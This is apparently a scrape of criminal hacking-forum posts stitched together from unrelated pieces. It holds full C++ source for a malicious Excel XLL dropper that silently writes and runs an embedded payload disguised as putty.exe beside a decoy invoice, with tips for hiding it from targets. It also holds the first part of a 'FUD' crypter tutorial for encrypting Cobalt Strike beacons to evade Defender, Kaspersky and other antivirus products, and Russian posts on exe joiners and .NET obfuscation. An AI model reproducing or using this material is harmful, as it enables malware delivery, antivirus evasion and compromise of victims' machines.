DWORD ExcelPathsize = MAX_PATH;
RegQueryValueExA(key, "PROGRAMDIR", NULL, ®Type, (LPBYTE)ExcelPath, &ExcelPathsize);
strcat_s(ExcelPath, "excel.exe");
So we used RegOpenKeyA to get a handle to the registry then we used the
function RegQueryValueExA
To query the value of the name PROGRAMDIR
You can open the register by typing regedit in Windows Run and go to this key
path
Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options
You can see the path without excel.exe but if you copy the path and past it in
your Windows Explorer you can find the excel.exe this problem fix is very easy
we used strcat_s to Append the excel.exe to the Microsoft Office path so we
can use it later to execute the invoice.xlsx
Now we have the full path of the excel.exe .
We need now to read the xlsx and putty files from the resource we can do that
in a few easy steps
First we need to find the resource in the xll so we used the function
FindResource
But before we first need to get module Handle using GetModuleHandleEx
C:Copy to clipboard
HMODULE hmodule = retriveHandle();
HRSRC hRes = FindResource(hmodule, MAKEINTRESOURCE(EXCEL_INVOICE), MAKEINTRESOURCE(EXCEL_FILE));
HGLOBAL hData = LoadResource(hmodule, hRes);
int excelSize = (SizeofResource(hmodule, hRes));
char* Excel = (char*)LockResource(hData);
After getting a handle in the function FindResource the first parameter is the
handle the next is the name of the file the third is the type of the file so
now
After finding the resource need to load the resource using the function
LoadResource
This function has 2 parameters first is the handle and the second is the
Handle that is returned by the function FindResource Now we had to get the
size of the resource before we could read it and write it this can be done
using the function SizeofResource
Now we can read it using the function LockResource this function will retrieve
a pointer to the resource finally we can write it to a file but i will not do
that right now will get a pointer to the putty file
C:Copy to clipboard
HRSRC phRes = FindResource(hmodule, MAKEINTRESOURCE(PAYLOAD_FILE), MAKEINTRESOURCE(EXE_FILE));
HGLOBAL phData = LoadResource(hmodule, phRes);
int PayloadSize = (SizeofResource(hmodule, phRes));
char* Payload = (char*)LockResource(phData);
This code same as the code we use to get a pointer to the xlsx file or excel file but we only replaced the name and the type of the file in the FindResource function with the name and type of the payload file or the putty.exe file Remember you can name them whatever you want
Now will write these two files to the document folder we can get the temp
folder path using the function SHGetFolderPathA
This function is included in the header file shlobj make sure you include it
another thing you need to add the library shell32.lib using #pragma comment
C:Copy to clipboard
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
Also dont forget to include resource.h header file
C:Copy to clipboard
char excel_file_path[MAX_PATH];
const char* excel_file_name = "\\invoice.xlsx";
char my_documents[MAX_PATH];
HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, my_documents);
strcpy_s(excel_file_path, my_documents);
strcat_s(excel_file_path, excel_file_name);
So if you understand c++ you notice that we create 3 variables one to store
the name of the excel file one to store the full path of the excel file and
the third and last one to store the document folder path
After we are done we use strcpy_s to copy the document path to the
excel_file_path variable and then we copy the excel file name to the
excel_file_path using the function strcat_s
The reason we did not append the excel file name to the document path variable
because we will use the same directory twice one for the excel file and the
second for the payload file and do to not use the same function
SHGetFolderPathA twice we create the third variable
C:Copy to clipboard
char payload_file_path[MAX_PATH];
const char* payload_file_name = "\\putty.exe";
strcpy_s(payload_file_path, my_documents);
strcat_s(payload_file_path, payload_file_name);
So here is the trick we did what we did in the code above we created two other variables for the payload and we copied the document path to the payload path and appended the payload file name to the full payload path
so we can now write the both files excel file and payload file to the disk
C:Copy to clipboard
HANDLE hXllFile = CreateFileA(excel_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hXllFile, Excel, excelSize, 0, 0);
CloseHandle(hXllFile);
HANDLE hPayloadFile = CreateFileA(payload_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hPayloadFile, Payload, PayloadSize, 0, 0);
CloseHandle(hPayloadFile);
We used the function CreateFileA and passed the path excel excel_file_path in
the parameter 1 to make sure in parameter 2 you pass GENERIC_WRITE so you can
get permission to write files third and fourth parameters NULL the 6
CREATE_ALWAYS so every time the xll file is clicked the dropper will delete
the old one and write new data here its up to you , you can change
CREATE_ALWYAS to OPEN_ALWAYS which will create the file if not exist but if
the file exists will not replace old with a new file
parameter 7 this cannot be changed and should be FILE_ATTRIBUTE_NORMAL
Then we use the WriteFile function to write the excel bytes to the desk first parameter is the handle to the file we created second is the excel byte that we get using the function LockResource
Finally we close the handle and Dont forget to close the handle or the file
will be busy and you cannot launch it using excel.exe
Same with the payload we did the same thing with no extra steps only changing
the variables names
C:Copy to clipboard
LPSTARTUPINFOA startupinfo_1 = new STARTUPINFOA();
LPPROCESS_INFORMATION procinformation_1 = new PROCESS_INFORMATION();
char process_name[MAX_PATH];
strcpy_s(process_name, "c:\\windows\\system32\\cmd.exe /c \"\"");
strcat_s(process_name, ExcelPath);
strcat_s(process_name, "\" \"");
strcat_s(process_name, excel_file_path);
strcat_s(process_name, "\" \"");
MessageBoxA(NULL, process_name,NULL , MB_OK);
CreateProcessA(NULL, (LPSTR)process_name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, startupinfo_1, procinformation_1);
LPSTARTUPINFOA startupinfo_2 = new STARTUPINFOA();
LPPROCESS_INFORMATION procinformation_2 = new PROCESS_INFORMATION();
CreateProcessA(NULL, (LPSTR)payload_file_path, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, startupinfo_2, procinformation_2);
This will maybe a complicated part because we did a few steps before we
executed the excel file for the putty is very simple we directly launch it up
as you see in the code
But for the excel we first a single variable to copy the full command to it
then we use the function strcpy_s to copy the default cmd.exe path and we use
/c so the cmd can carry the next command and we don’t forget to add two double
quotes one for the full command and the second is for the excel.exe path
Then we use the function strcat_s to copy the excel.exe path then we close the
second double quote and open a new one for the excel file path and close the
first and last quotes we opened then we use the function CreateProcess to
execute the command
It takes a few arguments the first is the path of the executable if we are
executing a single executable like in putty.exe we use the first parameter but
in the excel we will use the second parameter because we will use cmd.exe with
arguments
The third and fourth are Null the parameter number 5 is FALSE and for the 6
parameters for the excel we dont need any console so we used CREATE_NO_WINDOWS
but for the putty i used CREATE_NEW CONSOLE only to show you how it works but
when using this to target some targets make CREATE_NO_WINDOWS this is
important to not show any console on the target screen
Full source code :
dllmain.cpp
C:Copy to clipboard
#include <windows.h>
#include <shlobj.h>
#include "XLCALL.H"
#include "resource.h"
#pragma comment(lib, "shell32.lib")
HMODULE retriveHandle()
{
HMODULE hmodule = NULL;
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,LPCWSTR(retriveHandle), &hmodule);
return hmodule;
}
extern "C" __declspec(dllexport) short __stdcall xlAutoOpen()
{
HKEY key;
RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\16.0\\Word\\Options", &key);
DWORD regType = REG_SZ;
char ExcelPath[MAX_PATH];
DWORD ExcelPathsize = MAX_PATH;
RegQueryValueExA(key, "PROGRAMDIR", NULL, ®Type, (LPBYTE)ExcelPath, &ExcelPathsize);
strcat_s(ExcelPath, "excel.exe");
HMODULE hmodule = retriveHandle();
HRSRC hRes = FindResource(hmodule, MAKEINTRESOURCE(EXCEL_INVOICE), MAKEINTRESOURCE(EXCEL_FILE));
HGLOBAL hData = LoadResource(hmodule, hRes);
int excelSize = (SizeofResource(hmodule, hRes));
char* Excel = (char*)LockResource(hData);
HRSRC phRes = FindResource(hmodule, MAKEINTRESOURCE(PAYLOAD_FILE), MAKEINTRESOURCE(EXE_FILE));
HGLOBAL phData = LoadResource(hmodule, phRes);
int PayloadSize = (SizeofResource(hmodule, phRes));
char* Payload = (char*)LockResource(phData);
char excel_file_path[MAX_PATH];
const char* excel_file_name = "\\invoice.xlsx";
char my_documents[MAX_PATH];
HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, my_documents);
strcpy_s(excel_file_path, my_documents);
strcat_s(excel_file_path, excel_file_name);
char payload_file_path[MAX_PATH];
const char* payload_file_name = "\\putty.exe";
strcpy_s(payload_file_path, my_documents);
strcat_s(payload_file_path, payload_file_name);
HANDLE hXllFile = CreateFileA(excel_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hXllFile, Excel, excelSize, 0, 0);
CloseHandle(hXllFile);
HANDLE hPayloadFile = CreateFileA(payload_file_path, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hPayloadFile, Payload, PayloadSize, 0, 0);
CloseHandle(hPayloadFile);
LPSTARTUPINFOA startupinfo_1 = new STARTUPINFOA();
LPPROCESS_INFORMATION procinformation_1 = new PROCESS_INFORMATION();
char process_name[MAX_PATH];
strcpy_s(process_name, "c:\\windows\\system32\\cmd.exe /c \"\"");
strcat_s(process_name, ExcelPath);
strcat_s(process_name, "\" \"");
strcat_s(process_name, excel_file_path);
strcat_s(process_name, "\" \"");
MessageBoxA(NULL, process_name,NULL , MB_OK);
CreateProcessA(NULL, (LPSTR)process_name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, startupinfo_1, procinformation_1);
LPSTARTUPINFOA startupinfo_2 = new STARTUPINFOA();
LPPROCESS_INFORMATION procinformation_2 = new PROCESS_INFORMATION();
CreateProcessA(NULL, (LPSTR)payload_file_path, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, startupinfo_2, procinformation_2);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
This is tasted on Windows 11 and Microsoft office 2019
Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad 's most popular AV, EDR products!
The Killer Guide by TOP G
Sourcehttps://xss.is
The final result of the crypter we will develop in this tutorial :
**Hi, today I will teach you how to develop your own advanced crypter Fud Runtime + Scantime, After this tutorial I guarantee to you , you will bypass Most used AV ( antiviruses ) Such as Windows Defender, Kaspersky, Avira, Avast, Bitdefender, AVG, and more.
I will leave ( Proof of concept ) Videos for you to see the bypass, I created videos Bypassing on the Top asked to bypass Av like Windows Defender and Kaspersky.
This is an advanced tutorial that will help beginners and advanced Users, So stay with me and make sure your coffee cup is ready before you start reading.**
This Guide will be splited into Three stages,
Stage 1: The GUI which will be the builder including the Login window which
will handle the serial key between the server and GUI and if login success
will close itself and Show the MainWindow, and the MainWindowwhich will be
used to handle the shellcode
between the server and the Gui.
Attention: We will use the Server side for Authentication, Let us assume we have 100 Paid users, every user should have a different SerialKey, which will store the SerialKey in the database on the Server side, Also We will use the Server side to encrypt the Cobalt strike beacon for a reason.
Why use Server-side for Encryption?
We wan’t store the encrypted shellcode for example: in the pe section or
Resource cause these two ways are most of the time detected
One more reason is To make our Final stub More FUD and undetectable By
building it at Runtime I will discuss everything later.
Stage 2: HTTP Server with php installed On Windows System, I suggest you use
Windows Server 2019 with Microsoft Defender Disabled.
The Web server using php will handle the logging data that came from the Gui
and return the Status.
Also as I said before will handle the uploaded UnEncrypted cobalt strike
beacon then encrypt it using MSBuild ( MSBuild will build our c++ project )
and return the Download Link to the Gui Which will download the Encrypted stub
to the Path selected by the User
Stage 3: The last stage is the Encrypted stub which will store the encrypted
beacon on it as an unsigned char than in the main() function.
We will use some techniques to hide the IAT import address table Also this section will be discussed in its stage.
Here is what iam using tools and languages to develop the Crypter
I will use CobaltStrike version 4.8 as a C2 you can use any other framework like Metasploit
#What Skills do you need to continue reading and learning from this tutorial?
1 - Just c/c++ Language (Visual studio c++)
2 - Gui (Qt C++) If you don’t have any idea or skills to use Qt don’t worry I
explained everything in the tutorial
3 - php but if you are familiar with Python or NodeJs you could also use them
if you want
Download Wampserver and install it on your Windows server
Let's start with the GUI
Please first Download Qt6 c++ version 6.5.2 that’s the version iam using Right now.
If you already have Qt installed then launch it up and create a new project and make sure the selected compiler is x64
This is the main window it should look like this.
The project came with a default Mainwindow.ui, We need to add a new Qt class from design to generate a new window for login.
Scenario: I guess you already know that Paid software always comes with a serial key Window before you can use the software, so when you enter the license Key then you can use the software. It's like a protection to Force people to pay for the developer before they can use their software.
The Project by Default If we build it and run it will show up in the Mainwindow by default, but we want to work on the Loginform window so to show the LoginForm window go to main.cpp and comment w.show() and add the following code
C++:Copy to clipboard
LoginForm loginform;
loginform.show();
The code above will create an object from the Loginform class and then use the function show() to show the Window of the Loginform.
Now on The left Under Welcome Click Edit then right-click on The Main project, and now click on Add New, After that, it will show a new window to choose a type of file to add to the project, Double Click on Qt Designer From Class then Double Click on MainWindow But warning as you remember the project came with default window name Mainwindow so make sure to change the new one , I prefer to name it as his job the Job of the new Window to make sure the user has a Serial Key and He Paid to use the Software.
So I named it LoginForm.
Now delete, Menubar and Statusbar and should look like this, The reason we
want to delete the menubar and status bar because we want to make our custom
title bar
Now in LoginForm Go to property and search for geometry and click on Change the Width and height to the Following Sizes.
Width: 400
Height: 266
Now in the left corner search for Qwdigets and drop 4 widgets.
The first Widget is for the Mainwindow and the second Widget is for the LoginBox which will hold input and QEditLabel and QPushButton, The third Widget will be for the Custom title bar and the Fourth and last one is for the Footer which will hold the name of the Developer.
Change the sizes And X, Y of the MainWidget and make the sizes as the MainWindow of LoginForm.
Width: 400
Height: 266
X: 0
Y: 0
This is what it looks like
Now the Second LoginBox qWidget Change the sizes and X, and Y to the following data.
Width: 351
Height: 121
X: 25
Y: 60
Title Bar qWidget geometry data.
Width: 400
Height: 21
X: 0
Y: 0
Footer qWidget geometry data.
Width: 400
Height: 31
X: 0
Y: 232
Now search for QPushButtons and drop 1 QPushButton to TitleBar and 2 QPushButton to LoginBox, also Search for QLineEdit and drop one to LoginBox qWidget.
Change the text of QPushButtons on LoginBox and make one License Key and the other one Login
Also, change their names from Property in the right corner
Name the Login button as login_button and name the License Key button as
LicenseKeyLabel and name the QLineEdit as LicenseKey
Now time to change the sizes and geometry.
login_button
Width: 261
Height: 24
X: 40
Y: 70
LicenseKeyLabel :
Width: 101
Height: 24
X: 40
Y: 30
LicenseKey
Width: 151
Height: 24
X: 150
Y: 30
Result :
Now Click on QPushButton on the title bar and remove the text and name it as close_button
Let us now change the style of the Login Form, first of all, go to loginform.cpp
In QMainWindow add the following code
C++:Copy to clipboard
this->setWindowFlags(Qt::WindowType::FramelessWindowHint);
setAttribute(Qt::WA_TranslucentBackground, true);
The code we wrote above will change the background to transparent and make the no frame or frameless for the window.
So when we add color and border radius to the main qWidget it applied and enabled other than we can’t see the border-radius also the default title bar will be visible.
Now go back to designer and right click on QMainWindow or LoginForm and Choose Change StyleSheet.
Add the following code in the Pop upped box Make Sure you named the Main qWidget to MainWidget.
CSS:Copy to clipboard
*
{
font-family:Arial;
font-weight: Bold;
}
#MainWidget
{
background-color:#f5f6fa;
border-radius:5px;
}
If you know CSS you will understand the code, but if you don’t the code Above we added, Simply change the Default font family, font weight, add the background color, and finally add border-radius which makes the borders and corners rounded
The result is in the image below.
Go back again to the stylesheet and again add this new code.
CSS:Copy to clipboard
#close_button
{
background-color:#ff5252;
border:0px;
color:#fff;
border-radius:7px;
}
#close_button:hover
{
background-color:#b33939 ;
}
The code simply changes the radius for the close_button and adds color and on Hover changes the color.
Now Click on the close_button then in the right corner search for geometry and change the geometry data and sizes for close_button
close_button
Width: 16
Height: 16
X: 380
Y: 4
Result :
Attention: You can use your own colors.
Now it's the time to play with input colors, Get Back again to the stylesheet
again add this new code
This will be the final stylesheet css code .
CSS:Copy to clipboard
#login_button,#LicenseKeyLabel
{
background-color:#2c2c54;
color:#f5f6fa;
border:0px;
border-radius:7px;
}
#LicenseKey
{
border:0px;
border-radius:7px;
color:#2c2c54;
}
Build and run the project, and the result is seen in the picture below.
Close the Crypter and get back to Designer now Righ click on the close_button
Then click on Go to slots and choose Clicked slot then Press the OK button, It
should take you to LoginForm.cpp
Inside void on_close_button_clicked write the following Code.
C++:Copy to clipboard
this->close();
Rebuild the project and Launch it again now when the Project opens click on the close button it should close the login window.
Now the Title bar is finally finished, but we have a problem We can’t move the
Window because we deleted the default title bar so To fix this problem we need
to add 2 mouse events first one is
mousePressEvent and the second one is mouseMoveEvent
To do that go to loginform.h scroll down to Private: , then add the following code
C++:Copy to clipboard
[/FONT]
void mousePressEvent(QMouseEvent *event);
void mouseMoveEvent(QMouseEvent *event);
QPoint current_position;
QPoint new_position;
[FONT=arial]
When you finish go to loginform.cpp and add the following code
C++:Copy to clipboard
void LoginForm::mousePressEvent(QMouseEvent *event)
{
current_position =event->globalPosition().toPoint();
}
void LoginForm::mouseMoveEvent(QMouseEvent *event)
{
new_position = QPoint(event->globalPosition().toPoint() - current_position);
move(x() + new_position.x() , y() + new_position.y() );
current_position = event->globalPosition().toPoint();
}
Now rebuild the Project and click on the loginform window and move, as You can see how you can move it on screen as you want
Let's explain the code.
mousePressEvent: This function is very simple it only gets the current position and converts it to Point
mouseMoveEvent: It gets the new position then minus it from the old current position and then uses the value to move the window
Now here is a complex step so to understand it very well please pay attention.
So as you know we have 2 windows 1 is the Login window and the second window is the crypter MainWindow.
To Show the MainWindow from Loginform we need to create a signal inside Loginform.h and also create an on_click slot on Login Finally we connect the signal and mainwindow using Connect from Main.cpp
To create the on-click event go to Designer and Right click on the login_button then click on go to slot From QAbstractButton choose clicked() then Ok
To create the Signals in the LoginForm Class add the Signal the codes for Signal are Down below.
C++:Copy to clipboard
signals:
void LoginSignal(bool status);
This code for the Login Button
C++:Copy to clipboard
if(ui->LicenseKey->text() == "1")
{
QMessageBox::information(this,"Success ","Login Success");
emit LoginSignal(true);
this->close();
}
else
{
emit LoginSignal(false);
QMessageBox::critical(this,"Error ","Wrong Licesne Key");
}
For now, we only make the SerialKey static but Don’t worry we will make it Dynamic Soon when we come to the Server Authentication Part so we will get back to here soon.
go to Main.cpp and the connect code
C++:Copy to clipboard
LoginForm loginform;
loginform.show();
QObject::connect(&loginform, &LoginForm::LoginSignal, [&w](bool statusStatus)
{
if(statusStatus == true)
{
qDebug() << "Status : " << statusStatus << " \n";
w.show();
}
});
Now Compile the Project and try to add an Incorrect Serial Key and should see
this error message
Now try to relaunch the program but this time add the real serial key they
will show a success message Then when you click ok it will exit the login
Window and show the Main Crypter Window.
Ok woohoo, we almost finishing the Gui .!
Now it's time to start with the MainWindow, so Click on Edit Again Then Click
on mainwindow.ui
Now delete the Menubar and Statusbar as we did before …. Don’t get confused this is the MainWindow, not the LoginWindow so everything we do in the login window is still saved so don’t worry about the Empty Window.
and should look like this
Resize the mainwindow make the width: 714 and the height: 356, then
Search for qWidget and add 4 of them, First qWidget will act as MainWindow and
it will hold everything and you will see that soon, One for the Custom title
bar, and One for the Inputs and buttons, and the last one for the footer.
The mainWindow should be like this.
Now on the center qWidget click on it with your mouse and go to geometry in the right corner as you see in the picture above and add the width and height and the x, and y like the following.
Width: 714
Hight: 356
X : 0
Y : 0
Now on the Top left qWidget click on it with your mouse and do the same as the last step
Width: 714
Hight: 40
X : 0
Y : 0
And now it should look like this.
Finally, name it titlebar.
Now Click on the Bottom left of one qWidget and go to geometry again and put the following data :
Width: 714
Hight: 31
X : 0
Y: 320
Name it as a footer, should be like the image below.
Now the last Qwidget, this qWdiget will hold the inputs, labels, and buttons
Click on it and also do the same as before by filling in the geometry and name
object with the below data.
objectName: Main
Width: 481
Hight: 201
X: 120
Y: 70
The result for the last steps
Now drop two QPushButtons to the title bar and Four QPushButtons for the Main qWidget then drop three QLineEdit also to Main qWdiget
On the title bar name the first QPushButton as close_button and the second
name it as minimise_button and remove the default text.
The main window should be like this.
Now go to main qWdiget and edit the three buttons and three qLineEdit, change their names and geometry data as follows
1 - Choose stub: This is a button to choose the file you want to crypt
Name: choose_stub
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 20
2 - Save encrypted stub: This is a button to where to save the final encrypted stub ( The crypt ).
Name: save_encrypted_stub
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 50
3 - Pharse: This is a button to acts as a Label that tells you where to write the phrase or password
Name: pharse_button
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 80
4 - Encrypt stub: This is a button When you Click it will run the crypting Code
Name: encrypt_button
Geometry data :
Width: 441
Hight: 24
X: 20
Y: 120
Now the QLineEdit.
1 - Selected File Path: Here will show the path of the stub you want to encrypt
Name: selected_file_path
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 20
2 - Saved file path: Here will show the path of the encrypted stub
Name: saved_file_path
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 50
2 - Pharse: Here will Enter the Pharse ( password )
Name: phrase
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 80
The result should now be like this
Now, we will Remove the Default title bar by adding a frameless and
transparent background to the mainwindow
To do that go to mainwindow.cpp
And add the following code to the MainWindow
C++:Copy to clipboard
this->setWindowFlags(Qt::WindowType::FramelessWindowHint);
setAttribute(Qt::WA_TranslucentBackground, true);
Compile the code Note: You can use the shortcut Ctrl + R to build and launch
the exe
The transparency will give us the ability to make the border-radius.
Now get back to the Designer and Right click on Mainwindow in the right corner
And choose Change stylesheet, it will pop up a small window in this window we
can add style to the window and components on the window such as buttons,
qlabels, qwidgets, etc …
Now add the following code to this will add background color, change the default font, add a border-radius, and change font weight Also will style the QPushButton, QlineEdit
CSS:Copy to clipboard
*
{
font-family:Arial;
font-weight: Bold;
}
#Main
{
background-color:#f5f6fa;
border-radius:5px;
}
/**/
#close_button
{
background-color:#ff5252;
border:0px;
color:#fff;
border-radius:7px;
}
#close_button:hover
{
background-color:#b33939 ;
}
#minimise_button
{
background-color:#33d9b2;
border:0px;
color:#fff;
border-radius:7px;
}
#minimise_button:hover
{
background-color:#218c74;
}
#choose_stub , #encrypt_button, #pharse_button , #save_stub_button
{
background-color:#2c2c54;
color:#f5f6fa;
border:0px;
border-radius:7px;
}
#selected_file_path , #saved_file_path, #pharse
{
border:0px;
border-radius:7px;
color:#2c2c54;
}
#dev
{
color:#ff5252;
font-size:15px;
}
#footer_lb_1
{
color:#ffb142;
font-size:15px;
}
The result is shown in the picture below.
Now Will make the MainWindow also Dynamic as we did before in LoginForm.
Will first start with the title bar go to Designer and right click on the close_button then choose Go to Slot and choose Clicked then click on OK. Again go to Designer and this time Right click on the minimise_button choose Go to Slot and choose Clicked then click on OK.
Automatically will take you to Mainwindow.cpp on on_close_button_clicked()
Add the following code
C++:Copy to clipboard
this->close();
And on the on_minimise_button_clicked() Add the following code
C++:Copy to clipboard
this->showMinimized();
The code below is very simple when we click on close_button we simply close the Window
And on the minimise_button we used showMinimized to minimize the window without closing it
We could also add a maximize button to make the window fullscreen but I see there is no reason to do that, but you can use this function showMaximized if you want it.
Let's add a QMouse event to control the mouse and add the ability to move the MainWindow
To do that Just repeat the past steps that we did before for the LoginWindow
To make it easier for you, go to Mainwindow.h and in private add the following code.
C++:Copy to clipboard
[/FONT]
void mousePressEvent(QMouseEvent *event);
void mouseMoveEvent(QMouseEvent *event);
QPoint current_position;
QPoint new_position;
[FONT=arial]
Then go to MainWindow.cpp and add this code
C++:Copy to clipboard
[/FONT]
void MainWindow::mousePressEvent(QMouseEvent *event)
{
current_position =event->globalPosition().toPoint();
}
void MainWindow::mouseMoveEvent(QMouseEvent *event)
{
new_position = QPoint(event->globalPosition().toPoint() - current_position);
move(x() + new_position.x() , y() + new_position.y() );
current_position = event->globalPosition().toPoint();
}
[FONT=arial]
I will not explain it again, but you can read the tutorial again if you miss the explanation on the Top
Rebuild the project and now you should be able to move the window as you want
Okay, click on these three buttons one by one and add a click slot, like we do in the last step
Choose_stub,save_stub_button,encrypt_button.
Now every button has on Clicked slot except the pharse_button We use this button as a label and not need to be clickable
Go to MainWindow.cpp on top under Library include add these variables.
C++:Copy to clipboard
QString stub_path;
QString encrypted_stub_path;
QString Pharse;
int GlobalStatus = 0;
scroll until you find the function Choose_stub This function will use it to get the path of the stub that we want to encrypt and will save the path in the Global variable that we added in the code above.
Add this code inside the choose_stub button function name should be something like this: on_choose_stub_clicked
C++:Copy to clipboard
stub_path = QFileDialog::getOpenFileName(this,"Select stub",QDir::homePath());
ui->selected_file_path->setText(stub_path);
Now in the save button as I said before this button to select the path where we want to save the final encrypted file.
Add this code inside the function
C++:Copy to clipboard
encrypted_stub_path = QFileDialog::getSaveFileName(this,"save encrypted stub to ...",QDir::homePath(),"Exe files (*.exe);;");
ui->saved_file_path->setText(encrypted_stub_path);
The codes 2 above are very simple.
First, we QFileDialog and getOpenFileName to get the filename and path that we want to encrypt
Second, we used QFileDialog and getSaveFileName to get the path and name of the file we want to save (Encrypted file)
The last Button is very important go to the function and add this code
C++:Copy to clipboard
if(!stub_path.isEmpty() || !encrypted_stub_path.isEmpty() || !ui->pharse->text().isEmpty())
{
}
else
{
QMessageBox::critical(this,"Error"," Please make sure all inputs are not Empty");
}
If you are familiar with c++ or any other programming language you should understand it easily we are only checking if the inputs are not empty meaning,
If a user tries to click Encrypt without entering any of the required data like phrase or stub path or save path, will show a warning message without doing anything else
Wohoo We finished all the Gui and styling the GUI
But I will not finish PART 1 here I wanna give you some agitational without going Advanced,
So let us finish up the Authentication System.
To do that install Wamp server or any other webserver
Create a folder named it crypter create a file named it auth.php, Open it up with your favorite editor, and add this code.
PHP:Copy to clipboard
<?php
error_reporting(0);
$host = "127.0.0.1";
$user = "root";
$pass = "";
$db = "crypter";
$connect = mysqli_connect($host, $user, $pass,$db);
if (!$connect)
{
die("Connection failed: " . mysqli_connect_error());
}
else
{
$serial_key = strip_tags($_GET["serial_key"]);
$search_in_db = "SELECT serial_key FROM paidmember WHERE `serial_key`='$serial_key' ";//ba27-1c3a-4b91-a4b7-87fa
$result = mysqli_query($connect,$search_in_db);
if(mysqli_num_rows($result) >= 1)
{
//echo "$serial_key <br/>";
echo "Registered";
}
else
{
echo "NotRegistered";
}
}
?>
Done, We Have finished the php code for the authentication,
Now create a new database, then create 1 table with 3 columns.
1 - id
2 - serial_key
3 - hwid
Make the ID auto increment. then press Save.
Now add a random serial I used this ba27-1c3a-4b91-a4b7-87fa , added random hwid I used this random HWID 03000102030405060708090a0b0c0d0e0f .
The HWID will use it to lock the serial for 1 PC so if the user shares the serial with another user to avoid paying the developer so he can’t be logged in.
Now replace the dbname,dbuser,dbpass, and dbhost.
As you can see we used the Get method which means we can use the browser to check if it works or not. to do that open your browser and add your localip/filepath/auth.php?serial_key=the_serial_key_you_add_in_db
If the code is working should print Registered if the serial is true and UnRegistered if the serial is false.
Close the php Editor and go back again to qt editor go to loginform.h
And add the following code
C++:Copy to clipboard
void onfinish(QNetworkReply *rep);
Then go to Loginform.cpp and remove this code
C++:Copy to clipboard
if(ui->LicenseKey->text() == "1")
{
QMessageBox::information(this,"Success ","Login Success");
emit LoginSignal(true);
this->close();
}
else
{
emit LoginSignal(false);
QMessageBox::critical(this,"Error ","Wrong Licesne Key");
}
and add this code.
C++:Copy to clipboard
void LoginForm::onfinish(QNetworkReply *rep)
{
[/FONT]
QByteArray ReadedBytes = rep->readAll();
QString string_Body(ReadedBytes);
qDebug() << "Replay : \n" << string_Body;
if(string_Body == "Registered")
{
QMessageBox::information(this,"Success ","Login Success");
emit LoginSignal(true);
this->close();
}
else if (string_Body == "NotRegistered")
{
emit LoginSignal(false);
QMessageBox::critical(this,"Error ","Wrong Licesne Key");
}
[FONT=arial]
}
void LoginForm::on_login_button_clicked()
{[/FONT]
qDebug() << "Login button Clicked \n";
QString AUTH_URL = "http://192.168.0.100/crypter/auth.php?serial_key=";
QString Serial_Key = ui->LicenseKey->text();
AUTH_URL.append(Serial_Key);
qDebug() << AUTH_URL;
QUrl url(AUTH_URL);
QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
connect(ntmanager,&QNetworkAccessManager::finished,this,&LoginForm::onfinish);
ntmanager->get(QNetworkRequest(url));
[FONT=arial]}
Explaining the code:
What we did in loginform.h we create a custom slot to check when the request is finished without crashing the GUI.
In Loginform.cpp we removed the Static serial key and will create a dynamic one so we add the URL of our auth.php read the Serial entered by the user and store it in the QString variable under the name Serial_Key, then append it to AUTH_URL to have the full Url finally, we create an instance from the class QNetworkAccessManager and create an http get request and from the previous slot onfinish we Read the body and making if statement to check the body if the body is Registered that means the SerialKey is true other than its false
I recorded for you a video showing what we finished
So for today and for this part that’s all.
I Will add new part ASAP
Нашел на гите вот такие исходники джойнера
You must have at least 12 reaction(s) to view the content.
Если клеить файлы типа exe+jpg или exe+txt то клеит и запускает оба файла нормально а если клеить файлы типа exe+exe то запускает только один файл обычно тот который указываеться в роли шелл кода. Я пытался разобраться в проблеме самостоятельно и дебажил и несколько дней гуглел но так и не смог найти решение проблемы. Очень надеюсь на помощь так как этот проект для меня действительно важен. P.S прошу по теме без флуда.
Привет, кулхацкеры! Давненько у меня просили статью ~~о том как приготовить~~ по обфускациям этих ваших дотнетов, а у меня все руки никак не доходили. Но пора это исправить, так ведь? Я долго думал о том, как представить эту темку в удобоваримом формате, чтобы осветить всю базовую матчасть, необходимую для понимания того, что, собственно, происходит в обфускаторах дотнетов. Мы не будем рассматривать элитные приваты, но сконцентрируемся на информации, которая доступна в паблике, и на которой можно и нужно учиться. В последствии, после того как мы рассмотрим тот или иной алгоритм, я дам пару подсказок и советов о том, как улучшить алгоритм из паблика. Готовой и неготовой инфы получилось как то многовато, в итоге я решил разбить статью на три части, но надеюсь, у меня всё это выйдет нормально. Ну поехали с первой погружательной частью...
Содержание (часть 1):
1. Такие странные дотнет-сборки.
2. Кто вставил Forth внутрь дотнета?
3. Что в имени тебе моем?
В предвкушении будущих частей:
4. Мои константы — мое богатство.
5. Неполноценный антидамп.
6. Размажь мой контроль.
